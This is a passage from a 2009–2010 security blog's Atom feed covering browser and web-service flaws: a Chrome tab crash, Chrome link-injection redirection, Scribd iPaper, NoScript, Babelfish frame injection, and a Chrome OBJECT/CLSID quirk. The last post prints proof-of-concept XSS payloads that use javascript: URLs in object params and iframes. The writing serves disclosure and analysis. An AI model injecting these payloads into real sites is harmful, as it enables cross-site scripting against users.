style="font-weight:bold;"&gt;O 0  LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)&lt;/span&gt;&lt;br /&gt;EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)&lt;br /&gt;ST0 empty 0.0&lt;br /&gt;ST1 empty 0.0&lt;br /&gt;ST2 empty 236.00000000000000000&lt;br /&gt;ST3 empty 0.0&lt;br /&gt;ST4 empty 0.0&lt;br /&gt;ST5 empty 1000.000000000000000&lt;br /&gt;ST6 empty 309683.00000000000000&lt;br /&gt;ST7 empty 0.0747806972940452397&lt;br /&gt;               3 2 1 0      E S P U O Z D I&lt;br /&gt;FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)&lt;br /&gt;FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The issue presented in this post shows the advancement in execution of scripts and silently crashing the tabs. This issue has been designed as a controlled layout for showing the possibilities of crashing in Chrome.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note: This is designed for educational purposes and improving the functionality of open source software.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7448441064137264030?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7448441064137264030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7448441064137264030' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7448441064137264030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7448441064137264030'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/google-chrome-3019538-chrome-frame.html' title='Google Chrome 3.0.195.38 | Chrome Frame - Reloading Memory Allocation based Tab Crashing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/S0c7ZUZKswI/AAAAAAAAArw/9pIiAW3QQA4/s72-c/google_snap.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5649887559342195814</id><published>2010-01-05T04:18:00.000-08:00</published><updated>2010-01-08T04:59:00.178-08:00</updated><title type='text'>Link Injection Redirection Attacks - Exploiting URL Pattern in Google Chrome - Browser Design Failure</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S0NDE8-kcCI/AAAAAAAAArY/gf8jm_qpjaA/s1600-h/redirection.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 164px; height: 113px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S0NDE8-kcCI/AAAAAAAAArY/gf8jm_qpjaA/s320/redirection.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5423252128651309090" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; As pointed by Google in the below mentioned link that issues was not reported previously. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.webappsec.org/lists/websecurity/archive/2010-01/msg00022.html"&gt;http://www.webappsec.org/lists/websecurity/archive/2010-01/msg00022.html&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We strictly believe in responsible disclosures. It was reported on 28 November 2008 and the status was changed to "Wont Fix" by the team itself. You can have a look at:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=4739"&gt;http://code.google.com/p/chromium/issues/detail?id=4739&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/S0QOmI9ASZI/AAAAAAAAAro/UQZwsoRiLxc/s1600-h/uri_issue.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 106px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/S0QOmI9ASZI/AAAAAAAAAro/UQZwsoRiLxc/s320/uri_issue.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5423475899662092690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Recently with an outcome of Owasp RC1 top 10 exploited vulnerability list , redirection issues have already made a mark in that. Even the WASC has included the URL abusing as one of the stringent attacks. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/S0NEkPrxG3I/AAAAAAAAArg/MhxcEVsoMVc/s1600-h/red_chk.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 37px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/S0NEkPrxG3I/AAAAAAAAArg/MhxcEVsoMVc/s320/red_chk.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5423253765760293746" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well to be ethical in this regard these are not the recent attacks but are persisting from long time. The only difference is the exploitation ratio has increased from bottom to top. So that's the prime reason it has been included in the web application security benchmarks. But the projection of redirection attacks is active now.&lt;br /&gt;&lt;br /&gt;This post is not about explaining the basics of redirection issues. It is more about the design vulnerabilities in browsers that can lead to potential persistent redirection vulnerabilities. We will implement this attack as an example scenario against the long persisted vulnerability in Google Chrome released long back by Secniche Security. The details of this vulnerability can be found at below mentioned links:&lt;br /&gt;&lt;br /&gt;1. &lt;a href="http://secniche.org/gcuri.html"&gt;Google Chrome URL Obfuscation Vulnerability.&lt;/a&gt;&lt;br /&gt;2. &lt;a href="http://ww.milw0rm.com/exploits/7226"&gt;Milw0rm Database&lt;/a&gt;&lt;br /&gt;3. &lt;a href="http://www.securityfocus.com/archive/1/498586"&gt;Securityfocus&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The issue has been notified to Google Chrome Security team many times but it is still persisting and can be effectively exploited. Considering other browsers such as Mozilla , IE8 below mentioned restrictions have already been implemented as:&lt;br /&gt;&lt;br /&gt;1. Mozilla has implemented an alert check when ever rogue link is clicked informing the user for the malicious operation in process. &lt;br /&gt;&lt;br /&gt;2. IE8 has completely changed the link interpretation behavior.&lt;br /&gt;&lt;br /&gt;The attack scenario - &lt;span style="font-weight:bold;"&gt;(Web Application Security Testing)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. A vulnerable website prone to redirection.&lt;br /&gt;2. Browser vulnerability in interpreting injected links: Google Chrome&lt;br /&gt;&lt;br /&gt;The video can be seen here:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/videos/google_chrome_link_inj.html"&gt;Link Injection Redirection Attack - Exploiting Google Chrome Design Flaw&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5649887559342195814?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5649887559342195814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5649887559342195814' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5649887559342195814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5649887559342195814'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/link-injection-redirection-attacks.html' title='Link Injection Redirection Attacks - Exploiting URL Pattern in Google Chrome - Browser Design Failure'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/S0NDE8-kcCI/AAAAAAAAArY/gf8jm_qpjaA/s72-c/redirection.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1511109801392050432</id><published>2010-01-04T06:15:00.000-08:00</published><updated>2010-01-04T06:19:52.875-08:00</updated><title type='text'>Design Inaccuracy - Cross Link Authoring Flaw - Scribd Flaw - iPaper Platform</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/S0H4XSglcBI/AAAAAAAAArQ/Gx5EJLJvjUU/s1600-h/scribd.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 150px; height: 135px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/S0H4XSglcBI/AAAAAAAAArQ/Gx5EJLJvjUU/s320/scribd.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5422888505319976978" /&gt;&lt;/a&gt;This paper sheds light on the technique of bypassing the iPaper platform for launching a number of web attacks. This iPaper platform is a new document format that is used for online document viewing and is comparatively easy to manage. It is used by a large number of websites. The best example is the Scribd network which hosts a large number of documents online. Extensive testing shows that this platform is vulnerable to a number of web attacks.&lt;br /&gt;&lt;br /&gt;Read the paper at : &lt;span style="font-weight:bold;"&gt;&lt;a href="http://coseinc.com/en/index.php?rt=download&amp;act=publication&amp;file=design_inaccuracy_inside_ipaper_framework.pdf"&gt;Whitepaper&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1511109801392050432?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1511109801392050432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1511109801392050432' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1511109801392050432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1511109801392050432'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/design-inaccuracy-cross-link-authoring.html' title='Design Inaccuracy - Cross Link Authoring Flaw - Scribd Flaw - iPaper Platform'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/S0H4XSglcBI/AAAAAAAAArQ/Gx5EJLJvjUU/s72-c/scribd.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7546620622751012277</id><published>2010-01-03T06:03:00.000-08:00</published><updated>2010-01-03T06:08:45.835-08:00</updated><title type='text'>NoScript XSS Injection Checker Unescaping Nested URL Stringency - False Positive</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/S0CkJW-peoI/AAAAAAAAArI/rLc8lfU50Rk/s1600-h/noscript-2.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 105px; height: 105px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/S0CkJW-peoI/AAAAAAAAArI/rLc8lfU50Rk/s320/noscript-2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5422514432048200322" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The NoScript has shown some stringent false positive in dealing with complex URL pattern and escaping it appropriately. Please check the document:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.org/papers/noscript_xss_chk_comp_flaw.pdf"&gt;Fetch the Doc&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For effective development of community based software.&lt;br&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7546620622751012277?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7546620622751012277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7546620622751012277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7546620622751012277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7546620622751012277'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/noscript-xss-injection-checker.html' title='NoScript XSS Injection Checker Unescaping Nested URL Stringency - False Positive'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/S0CkJW-peoI/AAAAAAAAArI/rLc8lfU50Rk/s72-c/noscript-2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8224844000363289282</id><published>2010-01-01T04:23:00.000-08:00</published><updated>2010-01-03T06:01:41.561-08:00</updated><title type='text'>Yahoo Babelfish - SYSTRAN Base - Is that a Culprit? Well Let's See The WorkOut.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Sz3r91J_fwI/AAAAAAAAAqw/naBnrwuU9yM/s1600-h/yahoo_systran.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 36px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Sz3r91J_fwI/AAAAAAAAAqw/naBnrwuU9yM/s320/yahoo_systran.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5421748973897481986" /&gt;&lt;/a&gt;&lt;br /&gt;The frame injection flaw discussed previously has lot of impacts and can be exploited in the wild in a diversified manner. Primarily the two basic checks are missing in the applied online translation strategy opted by the Yahoo Babelfish and Systran. The Systran is the base software used by yahoo for translating contents online. Primarily the application is desktop based but has another form of online translation. On scrutinizing the Systran service the design looks similar that is used by the Yahoo Babelfish.&lt;br /&gt;&lt;br /&gt;Even if anybody want to opt the same design there should be some type of notifications provided with that. Basically with this type of translation design following checks should be followed:&lt;br /&gt;&lt;br /&gt;1. Priavcy statement or content verification notification should be mentioned in the base message bar.&lt;br /&gt;&lt;br /&gt;2. The translation source and destination should be mentioned.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Its a good solution to randomize the source URL and appends a differential URLID parameter that cannot be guessed.&lt;br /&gt;&lt;br /&gt;The third solution is quite good because direct reference cannot be made and source check is maintained when a malicious translation request is issued.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Both these adequate steps are missing in Yahoo Babelfish and Systran. Microsoft, in this case has a upper hand by deploying both these notifications even after following the same translation design. At least user is always aware of fact that the content should not be considered as trusted. The prototype looks like as presented below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/Sz3tYT8_hYI/AAAAAAAAAq4/-Gk6tTtJd20/s1600-h/systran.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 232px; height: 179px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/Sz3tYT8_hYI/AAAAAAAAAq4/-Gk6tTtJd20/s320/systran.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5421750528352683394" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;While loading the Yahoomail URL for translation the translation server gives the below mentioned error&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/Sz3wIBG5-sI/AAAAAAAAArA/x9qEowFeg7Q/s1600-h/systran2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 87px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/Sz3wIBG5-sI/AAAAAAAAArA/x9qEowFeg7Q/s320/systran2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5421753546950965954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The only point to look into this translation is to check the three benchmark artifacts listed above. Lets try another part. It is noticed that Systran online translation engine fetches the URL pattern as mentioned below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sysurl.systranet.com/?systrangui=www.systran.co.uk%3B/snetcom/web&amp;systranbanner=1&amp;systranuid=aHR0cC13d3cueWFob28uY29tL2VuX2Zy"&gt;http://sysurl.systranet.com/?systrangui=www.systran.co.uk%3B/snetcom/web&amp;systranbanner=1&amp;systranuid=aHR0cC13d3cueWFob28uY29tL2VuX2Zy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The first two notifications as discussed above is not followed. But yes to some extent he URL randomization point is applied. I am not saying that it is an appropriate solution but if every time a new ID is being provided it can be considered as a good solution to some extent. Of course it is.&lt;br /&gt;&lt;br /&gt;The overall scenario is in front. The applied solution is our choice. If Yahoo Babelfish has opted the base pattern then good practices should be followed too.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8224844000363289282?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8224844000363289282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8224844000363289282' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8224844000363289282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8224844000363289282'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2010/01/yahoo-babelfish-systran-base-is-that.html' title='Yahoo Babelfish - SYSTRAN Base - Is that a Culprit? Well Let&apos;s See The WorkOut.'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/Sz3r91J_fwI/AAAAAAAAAqw/naBnrwuU9yM/s72-c/yahoo_systran.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7169423308296891168</id><published>2009-12-27T23:18:00.000-08:00</published><updated>2009-12-28T00:33:01.243-08:00</updated><title type='text'>Google Chrome/ WebKit - MSWord Scripting Object XSS Payload Execution Bug and Random CLSID Stringency</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/Szhs3sfmzpI/AAAAAAAAAqo/gbOBS0_9se0/s1600-h/google-chrome-logo.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/Szhs3sfmzpI/AAAAAAAAAqo/gbOBS0_9se0/s320/google-chrome-logo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5420201855632723602" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;Google Chrome (including customized webkit)has shown unethical behavior in implementing an embedded object with CLSID parameter. The design bug is presented in the execution of the object element directly in the context of browser. The bug proliferates when a CLSID of certain object is passed and specific URL is allowed to execute as parameter value in it. Before jumping into all aspect of this unexpected and chaotic behavior , let's have a brief look at the W3 specification &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;!ELEMENT OBJECT - - (PARAM | %flow;)*&lt;br /&gt; -- generic embedded object --&gt;&lt;br /&gt;!ATTLIST OBJECT&lt;br /&gt;  %attrs;                              -- %coreattrs, %i18n, %events --&lt;br /&gt;  declare     (declare)      #IMPLIED  -- declare but don't instantiate flag --&lt;br /&gt;  &lt;span style="font-weight:bold;"&gt;classid     %URI;          #IMPLIED  -- identifies an implementation --&lt;/span&gt;&lt;br /&gt;  codebase    %URI;          #IMPLIED  -- base URI for classid, data, archive--&lt;br /&gt;  data        %URI;          #IMPLIED  -- reference to object's data --&lt;br /&gt;  type        %ContentType;  #IMPLIED  -- content type for data --&lt;br /&gt;  codetype    %ContentType;  #IMPLIED  -- content type for code --&lt;br /&gt;  archive     CDATA          #IMPLIED  -- space-separated list of URIs --&lt;br /&gt;  standby     %Text;         #IMPLIED  -- message to show while loading --&lt;br /&gt;  height      %Length;       #IMPLIED  -- override height --&lt;br /&gt;  width       %Length;       #IMPLIED  -- override width --&lt;br /&gt;  usemap      %URI;          #IMPLIED  -- use client-side image map --&lt;br /&gt;  name        CDATA          #IMPLIED  -- submit as part of form --&lt;br /&gt;  tabindex    NUMBER         #IMPLIED  -- position in tabbing order --&lt;br /&gt;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;classid = uri [CT]&lt;br /&gt;    This attribute may be used to specify the location of an object's implementation via a URI. It may be used together with, or as an alternative to the data attribute, depending on the type of object involved.&lt;br /&gt;&lt;br /&gt;data = uri [CT]&lt;br /&gt;    This attribute may be used to specify the location of the object's data, for instance image data for objects defining images, or more generally, a serialized form of an object which can be used to recreate it. If given as a relative URI, &lt;span style="font-weight:bold;"&gt;it should be interpreted relative to the codebase attribute&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So as per the recommendations codebase matters a lot. The value should work according to the included object which is known by the CLSID. That's true in the implementation of CLSID parameter through embedded object.&lt;br /&gt;&lt;br /&gt;The code that executes positively is mentioned below:&lt;br /&gt;[OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;br /&gt;[param name=url&lt;br /&gt;value=javascript:alert('XSSXSSXSXSXSXSXSXSXSXSXSXSSXSXSXSSXSXXSSS')]&lt;br /&gt;[/OBJECT]&lt;br /&gt;&lt;br /&gt;Certain facts are mentioned below&lt;br /&gt;&lt;br /&gt;1. The CLSID parameter presented in this part is of MSWORD Scripting Object. The good part is that this code does not get executed in the Internet Explorer 8 and there is no XSS payload execution.&lt;br /&gt;&lt;br /&gt;2. All the other browsers such as Mozilla Firefox , Opera and Safari does not execute&lt;br /&gt;this set of payload too. The Safari, which also implements webkit at prime scale does not show any contradictory behavior in this regard.&lt;br /&gt;&lt;br /&gt;3. If we talk about HTML5 specification , this is completely unethical in saying that the Google Chrome implements HTML5 then this kind of behavior is accepted. In concern to that latest version of Safari 4 also implements HTML5 specification to a great extent but this execution behavior is not supported.&lt;br /&gt;&lt;br /&gt;The contradiction arises as:&lt;br /&gt;&lt;br /&gt;1. Google Chrome, itself based on the Webkit and to best of the knowledge , Active X is not supported by the Webkit and Linux platforms. Its a pure windows object class identifiers. &lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;"ActiveX is only supported by Internet Explorer (and browsers built on top of Internet Explorer) on Windows. Google Chrome, Mozilla Firefox, Apple Safari, and others do not support ActiveX. Instead, these browsers make use of the Netscape Plugin Application Programming Interface (NPAPI)."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;More:&lt;a href="http://www.google.com/chrome/intl/en/webmasters-faq.html#activex"&gt;http://www.google.com/chrome/intl/en/webmasters-faq.html#activex&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But the general functionality of DOM object execution is based on top to bottom approach i.e tree notation. Primarily the element at the top executes first and then so on. &lt;br /&gt;&lt;br /&gt;2. Google Chrome executes the payload in a same manner( which can be used for XSS extensively) with or without the CLSID parameter. This is contradictory in its own sense. One cannot say in any specific nature of browsers that XSS payload execution with or without the CLSID is the same. Its not the appropriate functional part. As the code base point is mentioned in the W3 specification. The URI points to the object location. Ofcourse!&lt;br /&gt;&lt;br /&gt;Note: If the browser base is not supporting any type of specific tag attributes the inline code present in it should not be executed. One cannot say that the browser does not recognize the CLSID and it passes the control to the inline object parameter and executed the URI which is completely against the part as the URI is itself defined for that object.&lt;br /&gt;&lt;br /&gt;On the second part code execution without the CLSID is generic , in no way it is similar the payload execution with CLSID.&lt;br /&gt;&lt;br /&gt;The overall picture of this kind of issue with respect to other browsers is presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Szho44O8NJI/AAAAAAAAAqY/OI5QBFSiVfw/s1600-h/browser_check.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 94px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Szho44O8NJI/AAAAAAAAAqY/OI5QBFSiVfw/s320/browser_check.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5420197477917406354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This represents the overall scenario. The payload can be used to execute XSS attacks stringently. the best probable solution is not to allow code when executed with CLSID as presented in this talk.&lt;br /&gt;&lt;br /&gt;On a simpler talk with Google Chrome team about this against the turf behavior there are certain responses which are unacceptable in any case: Have a look&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"There is a special case for the "data", "movie" and "src" attributes: http://svn.webkit.org/repository/webkit/trunk/WebCore/html/HTMLParamElement.cpp in "isURLAttribute" and "addSubresourceAttributeURLs".&lt;br /&gt;&lt;br /&gt;I expect this has to do with our DNS prefetching; we attempt to start downloading &lt;br /&gt;stuff as soon as we know about it. It may be that Chrome special cases this type of &lt;br /&gt;PARAM, expecting it to be a URL. When it finds out there is nothing to grab off the &lt;br /&gt;internet, it is handled like any other URL and the javascript is executed. The code &lt;br /&gt;may need a bit of tweaking to prevent it from executing javascript; it should only &lt;br /&gt;start download the resource if it contains a valid URL."&lt;br /&gt;&lt;br /&gt;"The DNS preresolution would, at the most, do a resolution of a domain, but would never trigger any content fetch or JS execution.  &lt;br /&gt;&lt;br /&gt;There is also some scanning of content, and pre-fetching expected content.  I'd be VERY surprised to hear that it leads to execution prior to such necessity."&lt;br /&gt;&lt;br /&gt;"I am actually really curious as to why Chrome is behaving this way, even for unknown clsids. I am guessing it is some sort of a heuristic prefetching mechanism that triggers on parameters named "url"?&lt;br /&gt;&lt;br /&gt;If my guess is correct, it would be good to have a peek at this mechanism, and limit &lt;br /&gt;it to http / https, just so that it does not introduce problems elsewhere. That said, I do not see any obvious way how the current behavior would have a negative impact on common web sites - i.e., why we should treat it as a security problem."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"I agree with previous assessment that this is not a particular security issue.I also agree that it would be good to understand the behaviour. Hence: It looks to be WebKit simply passing plugin payload URLs to the frame loader, verbatim.This simply means that in Chrome, the following two URLs constructs behave similarly:&lt;br /&gt;&lt;br /&gt;1)[object][param name="url" value="javascript:alert(document.domain)"&gt;&lt;/param&gt;&lt;br /&gt;[/object]&lt;br /&gt;&lt;br /&gt;2)[iframe src="javascript:alert(document.domain)"][/iframe]And obviously, it is any given website's responsibility to NOT pass arbitrary  attacker-supplied URLs in either of those attributes."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This statement "it is any given website's responsibility to NOT pass arbitrary attacker-supplied URLs in either of those attributes." is completely obscure with&lt;br /&gt;respect to this bug.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Security Concern: The differential set of payloads always favor the XSS execution and browser inabilities to follow the standard 